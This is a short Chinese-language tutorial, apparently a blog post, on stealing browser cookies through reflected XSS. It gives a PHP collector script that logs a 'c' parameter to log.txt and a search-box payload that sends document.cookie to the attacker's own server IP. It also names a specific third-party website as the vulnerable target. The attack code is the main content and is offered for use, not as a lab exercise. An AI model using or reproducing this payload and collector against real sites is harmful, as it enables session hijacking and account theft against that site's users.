XSS窃取cookie

2,926 阅读1分钟

需要的相关知识

xss攻击讲解及实战

cookie基础

如何在浏览器中获取某个网站的cookie?

打开某个网站后,浏览器地址栏输入,回车即可显示

javascript:alert(document.cookie);

示例:


xss攻击获取用户cookie

xss攻击分为持久式和非持久式,持久式是将代码注入到服务器端,每个访问该网站的用户都成为了被攻击者,非持久式将代码注入到客户端网页中,危害相对较小。这里我们的例子是非持久式的。步骤如下:

  1. 找一台linux服务器,搭建php环境,可以参考如下链接Ubuntu16.04搭建lamp环境
  2.  写php文件代码,命名为test_hacker.php

    <?php 
    $logFile = "log.txt"; 
    $cookie = $_REQUEST["c"];//会提取保存有cookie参数c
    
    $handle = fopen($logFile, "a"); 
    fwrite($handle, $cookie . "\n\n");//将cookie写入文件log.txt 
    fclose($handle);
    
    header("Location: http://www.baidu.com/"); //最后,跳转到百度页面结束
    exit; 
    ?>    
  3. 将test_hacker.php上传到服务器设定的访问目录下。注意,log.txt不要提前建立,自动建立就好,否则后面写入可能有问题
  4. 参考xss攻击讲解及实战找一个有xss漏洞的网站,这里选取如下网站

    https://www.sankelux.co.id/search?diskonend=100
    

  5. 因为上述网站搜索框存在漏洞,所以搜索框内输入

    <script>window.location = "http://你的IP/test_hacker.php?c=" + document.cookie;</script>
    

      登陆服务器查看log.txt文件,即可看见写入的cookie